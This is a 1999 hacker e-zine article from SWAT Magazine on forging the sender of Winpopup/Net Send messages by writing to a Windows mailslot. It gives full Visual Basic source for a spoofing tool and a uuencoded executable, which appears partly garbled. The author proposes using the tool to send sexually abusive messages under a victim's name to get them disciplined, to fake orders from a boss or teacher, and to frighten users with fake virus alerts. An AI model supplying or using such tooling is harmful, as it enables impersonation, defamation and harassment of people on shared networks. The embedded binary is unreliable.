________ SWAT MAGAZINE ISSUE TWENTY-FOUR DECEMBER 1999 ________ / \______________________________________________/ \ / Winpopup/Net Send Message Spoofing \ / By qwaszx \ ----------------------------------------------------------------------- Winpopup, as you will most probably know is that lame messaging system for Windows 95/98 for use across a LAN. And the equivalent of winpopup in NT is called the messenger service (the command usually used to send a message is NET SEND computername message, hence the term Net Send used in the title). When you send a message, a box pops up on their screen with your message, and also your computer name. How to forge the origin of the message -------------------------------------- Both winpopup and net send use exactly the same protocol: Mailslots. To send the message is bascially writing to a file (The filename being \\computername\mailslot\messngr) and the format of the message is as follows: Computername_to_send_message_to\0Computer_to_send_message_from\0Message\0 Where \0 is the NULL character (00h) eg. if you wanted to send a message to Computer1 and your computer is called Computer2 then you would use the following: Computer1\0Computer2\0Message\0 If you follow this, then you have probably already spotted the problem. You could type in anything in the from line. Your message could appear to be from SERVER1 or Firestarter or Administrator or whatever... Unless your a programmer though, this can get pretty complicated to do, so I have included some VB source code at the bottom of this file and also an .exe for you to use (UUENCODED at the bottom of this file - use winzip or something to extract it). Uses of this ------------ 1. Send a message to everyone (use * as the target) with something abusive eg. "Gill sucks cocks for a fiver - enquire at reception" with the from line of your victim. Gill will not be best pleased with your victim. And if a member of staff (teacher/boss) sees the message, which they will if they have a computer on the network, your victim could soon be facing some big disciplinary action. 2. Fake a message from the bosses computer (or teachers if you are in school/college) to your victim saying something like "Please reprt to my office immediately!" 3. Use your imagination - something like "Your computer is infected with the Cheese Monster virus" would certainly scre the shit out of some poor unsuspecting (Computer illiterate) Lamer. Have Fun... VB Source --------- You need three textboxes (Text1, text2, text3) and one command button (Command1) on your form, and whatever else you want (labels etc). Change the names as appropriate and paste the following code into the code window for form1. ' General Declarations Const MAILSLOT_WAIT_FOREVER = (-1) Const OPEN_EXISTING = 3 Const GENERIC_READ = &H80000000 Const GENERIC_WRITE = &H40000000 Const GENERIC_EXECUTE = &H20000000 Const GENERIC_ALL = &H10000000 Const INVALID_HANDLE_VALUE = -1 Const FILE_SHARE_READ = &H1 Const FILE_SHARE_WRITE = &H2 Const FILE_ATTRIBUTE_NORMAL = &H80 Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long Private Declare Function WriteFile Lib "kernel32" (ByVal hFileName As Long, ByVal lpBuff As Any, ByVal nNrBytesToWrite As Long, lpNrOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwAccess As Long, ByVal dwShare As Long, ByVal lpSecurityAttrib As Long, ByVal dwCreationDisp As Long, ByVal dwAttributes As Long, ByVal hTemplateFile As Long) As Long Private Sub Command1_Click() SendMsg(Text1.Text, Text2.Text, Text3.Text) End Sub Function SendMsg(From As String, To As String, Text As String) As Long Dim rc As Long Dim mshandle As Long Dim msgtxt As String Dim byteswritten As Long Dim mailslotname As String ' name of the mailslot mailslotname = "\\" + To + "\mailslot\messngr" msgtxt = From + Chr(0) + To + Chr(0) + Text + Chr(0) mshandle = CreateFile(mailslotname, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, -1) rc = WriteFile(mshandle, msgtxt, Len(msgtxt), byteswritten, 0) rc = CloseHandle(mshandle) End Function ' End of source code Exe File -------- This was compiled using VB5, and so you will need MSVBVM50.DLL (Search for VB5 Runtime Library on any search engine). Copy this text to msgspoof.uue and decode it. begin 666 msgspoof.zip M4$L#!!0````(`%1L*28;\1T(EA,````Z```,````;7-GQA/'"L,^!4X0B[!V>ZCNZRGLZV(]5O[[OO^Y*O)45WU77/RFOO?>_>=^]]]]WW\K[WWO=5/]`-F0"@19`D M@'[@R0J?G^((LQ?^;#8N+:KT-87TP%-@1SN!^:X#GE(*='(>7P`%\UE[ M=1U@@'"?<3-A->`WA.L(YA$>M M#!^D\@B5CU`Y2-A`V$&XEW`/81OA%L+S"(^3KI;*1PEO(9Q+^`!A+^%.PD#X M$&$=X6["BPE;"?<1SB.<3WB,6JFELH5P%>'V??V/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ZWXXXI[BEN*GRJ^4IQIK#-&C?N-?V-TE>PJ^66)W_RT^9+Y#^:KYCFE MQM*'2E\N_9Q9<2-]2])_`5!+`0(4`!0````(`%1L*28;\1T(EA,````Z```, M````````````(`#_@0````!M&502P4&``````$``0`Z```` &P!,````` ` end --- Written by qwaszx for SWAT Magazine Send comments, suggestions and praise to Send Flames to Standard disclaimer applies - I am not reponsible for what you do with this information, and for any inaccuracies. blah.. blah.. blah......